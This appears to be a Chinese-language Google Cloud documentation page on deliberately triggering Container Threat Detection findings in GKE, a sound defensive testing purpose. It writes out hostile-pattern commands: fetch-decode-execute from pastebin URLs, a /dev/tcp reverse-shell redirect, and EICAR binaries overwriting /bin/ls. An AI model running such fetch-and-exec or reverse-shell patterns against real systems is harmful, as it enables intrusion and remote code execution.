测试 Container Threat Detection

本页面介绍了如何通过有意触发检测器并检查发现结果来验证 Container Threat Detection 是否正常运行。Container Threat Detection Security Command Center 高级和企业层级的内置服务。 如需查看 Container Threat Detection 发现结果,您必须在 Security Command Center 服务设置中启用该服务。

准备工作

如需检测容器的潜在威胁,您需要确保集群位于受支持的 Google Kubernetes Engine (GKE) 版本上。如需了解详情,请参阅使用受支持的 GKE 版本

设置环境变量

如需测试检测器,请使用 Google Cloud 控制台和 Cloud Shell。您可以在 Cloud Shell 中设置环境变量,以便更轻松地运行命令。以下变量用于测试所有 Container Threat Detection 检测器。

  1. 前往 Google Cloud 控制台

    转到 Google Cloud 控制台

  2. 选择包含要用来测试的容器的项目。

  3. 点击激活 Cloud Shell

  4. 在 Cloud Shell 中,设置环境变量。

    1. 您的集群所在的区域:

      export ZONE=CLUSTER_ZONE
      
    2. 您的容器所在的项目:

      export PROJECT=PROJECT_ID
      
    3. 您的集群名称:

      export CLUSTER_NAME=CLUSTER_NAME
      

变量已设置。以下部分包含测试 Container Threat Detection 检测器的说明。

已执行添加的二进制文件

如需触发已执行添加的二进制文件发现结果,请将二进制文件放入容器中并执行该文件。此示例将部署最新的 Ubuntu 18.04 映像,将 /bin/ls 复制到其他位置,然后执行。二进制文件的执行是出乎意料的,因为二进制文件的副本不是原始容器映像的一部分,即使该映像位于 Ubuntu 18.04 中,而且容器也是不可变的。

  1. 设置环境变量

  2. 使用 Cloud Shell 访问集群控制平面:

    gcloud container clusters get-credentials $CLUSTER_NAME \
     --zone $ZONE \
     --project $PROJECT
    
  3. 放入二进制文件并执行该文件:

    tag="ktd-test-binary-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
    kubectl run --restart=Never --rm=true -i \
    --image marketplace.gcr.io/google/ubuntu1804:latest \
    "$tag" -- bash -c "cp /bin/ls /tmp/$tag; /tmp/$tag"
    

此测试过程应创建一个“已执行添加的二进制文件”发现结果,您可以在 Security Command Center 和 Cloud Logging(如果您为 Container Threat Detection 配置了 Logging)中查看该发现结果。只有在您激活 Security Command Center 的高级或企业层级后,才能在 Cloud Logging 中查看发现结果。

为了降低噪声,当您首次创建容器时,Container Threat Detection 会暂时过滤掉“已执行添加的二进制文件”发现结果。如需在设置容器时查看所有“已执行添加的二进制文件”发现结果,请在容器名称或 Pod 名称前加上 ktd-test,如示例所示。

已加载添加的库

如需触发“已加载添加的二进制文件”发现结果,请将库放入容器中,然后加载该库。此示例将部署最新的 Ubuntu 18.04 映像,将 /lib/x86_64-linux-gnu/libc.so.6 复制到其他位置,然后使用 ld 加载。已加载的库是出乎意料的,因为库的副本不是原始容器映像的一部分,即使该映像位于 Ubuntu 18.04 中,而且容器是不可变的。

  1. 设置环境变量

  2. 使用 Cloud Shell 访问集群控制方案:

    gcloud container clusters get-credentials $CLUSTER_NAME \
     --zone $ZONE \
     --project $PROJECT
    
  3. 放入一个库并使用 ld 加载它:

    tag="ktd-test-library-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
    kubectl run --restart=Never --rm=true -i \
    --image marketplace.gcr.io/google/ubuntu1804:latest \
    "$tag" -- bash -c "cp /lib/x86_64-linux-gnu/libc.so.6 /tmp/$tag; /lib64/ld-linux-x86-64.so.2 /tmp/$tag"
    

此测试过程应创建一个“已加载添加的库”发现结果,您可以在 Security Command Center 和 Cloud Logging(如果您为 Container Threat Detection 配置了 Logging)中查看该发现结果。仅当您在组织级层激活 Security Command Center 的高级或企业层级时,才能在 Cloud Logging 中查看发现结果。

为了降低噪声,当您首次创建容器时,Container Threat Detection 会暂时过滤添加的库加载的发现结果。如需在设置容器时查看所有“已加载添加的库”发现结果,请在容器名称或 Pod 名称前加上 ktd-test,如示例所示。

执行:已添加的恶意二进制文件已执行

如需触发执行:添加了恶意二进制文件执行的发现结果,请将 恶意二进制文件并加以执行此示例将部署最新的 Ubuntu 18.04 映像,创建模拟的恶意文件,然后执行该文件。二进制文件的执行 意外的,因为模拟的恶意二进制文件不属于 原始容器映像,二进制文件是 EICAR 测试文件,即被威胁情报归类为恶意文件。

  1. 设置环境变量

  2. 使用 Cloud Shell 访问集群控制平面:

    gcloud container clusters get-credentials $CLUSTER_NAME \
     --zone $ZONE \
     --project $PROJECT
    
  3. 删除 EICAR 二进制文件并执行:

    tag="ktd-test-added-malicious-binary-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
    eicar='X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*'
    kubectl run --restart=Never --rm=true -i \
    --image marketplace.gcr.io/google/ubuntu1804:latest \
    "$tag" -- bash -c \
    "touch /tmp/test_mal_file; echo -n '$eicar' > /tmp/test_mal_file; chmod 700 /tmp/test_mal_file; ./tmp/test_mal_file; sleep 10"
    

此测试过程应创建一个执行:已添加恶意二进制文件 如果发现您可以在 Security Command Center 和 Cloud Logging 中查看, 您已为 Container Threat Detection 配置了 Logging。正在查看 您必须先将 Cloud Logging 中的发现结果 Security Command Center 的高级或企业层级。

为了降低噪声,当您首次创建容器时,Container Threat Detection 会暂时过滤掉“执行:已执行添加的恶意二进制文件”发现结果。如需在设置容器时查看所有“执行:添加了已执行的恶意二进制文件”发现结果,请在容器名称或 Pod 名称前加上 ktd-test,如示例所示。

Execution: Malicious Python executed

如需触发 Execution: Malicious Python executed 发现结果,您可以在容器中按照以下步骤执行 Python。

该过程会部署最新的 Python 映像、复制 然后采取相应的措施若要触发检测,Python 代码必须包含恶意内容才能被检测器检测到。

  1. 设置环境变量

  2. 使用 Cloud Shell 访问集群控制方案:

    gcloud container clusters get-credentials $CLUSTER_NAME \
     --zone $ZONE \
     --project $PROJECT
    
  3. 在新容器中执行以下脚本。

    此 Python 代码来自蜜罐。不过,该脚本已被修改,不会执行恶意二进制文件。运行该脚本不会导致容器中出现恶意活动。 引用的网址中不存在二进制文件,并且尝试跟踪该网址会导致 404 错误。这是正常现象。 使用内嵌脚本尝试下载、解码和执行二进制文件会触发检测。

    tag="ktd-test-malicious-python-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
    kubectl run --restart=Never --rm=true  -i \
    --image marketplace.gcr.io/google/python:latest "$tag" \
    -- python -c "import urllib
    import base64
    import os
    
    url = 'https://pastebin.com/raw/Z'
    page = base64.b64decode(urllib.urlopen(url).read())
    page = ''
    f = os.popen(str(page))
    url = 'https://pastebin.com/raw/Z'
    d = 'https://pastebin.com/raw/Z'
    page = base64.b64decode(urllib.urlopen(url).read())
    page = ''
    exec(page)"
    

此测试过程会创建一个 Execution: Malicious Python executed 发现结果,您可以在 Security Command Center 和 Cloud Logging(如果您为 Container Threat Detection 配置了日志记录)中查看该发现结果。在 Cloud Logging 中查看发现结果 仅在您激活专业版或企业版后可用 Security Command Center 层级。

执行:已执行经过修改的恶意二进制文件

如需触发“执行:已修改的恶意二进制文件”发现结果,请修改 恶意二进制文件并加以执行此示例将 最新的 Ubuntu 18.04 映像,将 /bin/ls 修改为模拟恶意文件,然后执行它。 二进制文件的执行不符合预期,因为 /bin/ls 在容器运行时被修改为 模拟的恶意二进制文件,而二进制文件是 EICAR 测试文件,即被威胁情报归类为恶意文件。

EICAR 测试恶意文件,然后执行该文件。二进制文件的执行 意外的,因为创建的 /bin/ls 在容器运行时被修改, 用于测试恶意二进制文件的 EICAR 文件,并且该 EICAR 二进制文件是一个已知的恶意文件 威胁情报。

  1. 设置环境变量

  2. 使用 Cloud Shell 访问集群控制平面:

    gcloud container clusters get-credentials $CLUSTER_NAME \
     --zone $ZONE \
     --project $PROJECT
    
  3. 放入 EICAR 二进制文件并执行该文件:

    tag="ktd-test-modified-malicious-binary-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
    eicar='X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*'
    kubectl run --restart=Never --rm=true -i \
    --image marketplace.gcr.io/google/ubuntu1804:latest \
    "$tag" -- bash -c "echo -n '$eicar' > /bin/ls; /bin/ls; sleep 10"
    

此测试过程应该会创建一个“执行:已修改的恶意二进制文件”发现结果,您可以 以及 Cloud Logging(如果您已配置 用于 Container Threat Detection 的日志记录。在以下位置查看发现结果: 只有在激活专业版或企业版后才能使用 Cloud Logging Security Command Center 层级。

为了降低噪声,当您首次创建容器时,Container Threat Detection 会暂时过滤掉“执行:已修改的恶意二进制文件已执行”发现结果。如需在设置容器时查看所有“执行:已修改的恶意二进制文件已执行”发现结果,请在容器名称或 Pod 名称前加上 ktd-test,如示例所示。

已执行恶意脚本

若要触发“执行的恶意脚本”发现结果,您可以 在容器内的以下流程中执行此操作。

该过程会部署最新的 Ubuntu 18.04 映像,复制看似恶意的脚本,然后执行该脚本。若要触发检测,脚本必须包含恶意内容才能被检测器检测到。

  1. 设置环境变量

  2. 使用 Cloud Shell 访问集群控制方案:

    gcloud container clusters get-credentials $CLUSTER_NAME \
     --zone $ZONE \
     --project $PROJECT
    
  3. 在新容器中执行以下脚本。

    此内嵌 Bash shell 脚本源自蜜罐。不过,该脚本已经过修改,不会执行恶意二进制文件,因此运行该脚本不会在容器中导致恶意活动。引用的网址中的二进制文件可能已被移除,尝试访问该网址会导致 404 错误。这是正常现象。 使用内嵌脚本尝试下载、解码和执行二进制文件会触发检测。

     tag="ktd-test-malicious-script-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
     kubectl run --restart=Never --rm=true  -i \
     --image marketplace.gcr.io/google/ubuntu1804:latest "$tag" \
      -- bash -c "(curl -fsSL https://pastebin.com/raw/KGwfArMR||wget -q -O - https://pastebin.com/raw/KGwfArMR)| base64 -d"
    

此测试过程会创建一个“已执行恶意脚本”发现结果,您可以在 Security Command Center 和 Cloud Logging(如果您为 Container Threat Detection 配置了 Logging)中查看该发现结果。只有在您激活 Security Command Center 的高级或企业层级后,才能在 Cloud Logging 中查看发现结果。

观察到恶意网址

如需触发“观察到恶意网址”发现结果,请执行二进制程序并提供恶意网址作为参数。

以下示例将 Ubuntu 18.04 并执行 /bin/curl,以从 安全浏览服务。

  1. 设置环境变量

  2. 使用 Cloud Shell 访问集群控制方案:

    gcloud container clusters get-credentials $CLUSTER_NAME \
     --zone $ZONE \
     --project $PROJECT
    
  3. 执行 curl 并提供恶意网址作为参数:

       tag="ktd-test-malicious-url-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
       url="https://testsafebrowsing.appspot.com/s/malware.html"
       kubectl run --restart=Never --rm=true -i \
       --image marketplace.gcr.io/google/ubuntu1804:latest \
       "$tag" -- bash -c "curl $url | cat"
    

此测试过程会触发“观察到恶意网址”发现结果,您可以在 Security Command Center 中查看该发现结果;如果您为 Container Threat Detection 配置了 Logging,则可以在 Cloud Logging 中查看该发现结果。仅当您在组织级层激活 Security Command Center 的高级或企业层级时,才能在 Cloud Logging 中查看发现结果。

反向 shell

如需触发“反向 Shell”发现结果,请启动二进制文件,并将 stdin 重定向到 TCP 连接的套接字。此示例将 /bin/echo 复制到 /tmp/bash, 然后从 /tmp/bash 开始,重定向至 Google 公共 DNS 8.8.8.8(在 DNS 端口上)。运行此示例时,不会打印任何内容。为防止通过中间人 (MITM) 攻击注入任何外部代码,此示例未使用 /bin/bash 二进制文件。

  1. 设置环境变量

  2. 使用 Cloud Shell 访问集群控制方案:

    gcloud container clusters get-credentials $CLUSTER_NAME \
     --zone $ZONE \
     --project $PROJECT
    
  3. 使用 /bin/echo 启动二进制文件重定向至 Google 公共 DNS:

    tag="ktd-test-reverse-shell-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
    kubectl run --restart=Never --rm=true -i \
    --image marketplace.gcr.io/google/ubuntu1804:latest \
    "$tag" -- bash -c "cp /bin/echo /tmp/bash; /tmp/bash >& /dev/tcp/8.8.8.8/53 0>&1"
    

此测试过程会创建一个“反向 Shell”发现结果,您可以在 Security Command Center 和 Cloud Logging(如果您为 Container Threat Detection 配置了 Logging)中查看该发现结果。仅当您在组织级层激活 Security Command Center 的高级或企业层级时,才能在 Cloud Logging 中查看发现结果。

意外的 Shell Shell

如需测试 Unexpected Child Shell 检测器,您可以创建一个包含子 shell 进程的进程树。

以下示例会创建一个可由 Unexpected Child Shell 检测器检测的 consul->dash 进程树。此测试安全,因为它仅使用内置二进制文件。此示例会执行以下操作:

  1. 创建 bash 进程的副本并将其命名为 consul
  2. 复制 echo 进程并将其命名为 dash
  3. 在复制的 consul 进程中调用复制的 dash 进程。

如需触发 Unexpected Child Shell 发现结果,请执行以下操作:

  1. 设置环境变量

  2. 使用 Cloud Shell 访问集群控制平面:

    gcloud container clusters get-credentials $CLUSTER_NAME \
     --zone $ZONE \
     --project $PROJECT
    
  3. 使用模拟 consul 进程调用模拟 shell:

    tag="ktd-test-unexpected-child-shell-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
    kubectl run --restart=Never --rm=true -ti \
    --image ubuntu "$tag" --command \
    -- /bin/sh -c 'cp /bin/bash /tmp/consul; cp /bin/echo /tmp/bash; \
    /tmp/consul -c "/tmp/bash child ran successfully & wait"'
    

此测试过程会创建一个 Unexpected Child Shell 发现结果,您可以在 Security Command Center 中查看该发现结果。如果您为 Container Threat Detection 配置了 Logging,并且已在组织级层激活了 Security Command Center 专业版或企业版,则也可以在 Cloud Logging 中查看发现结果。

后续步骤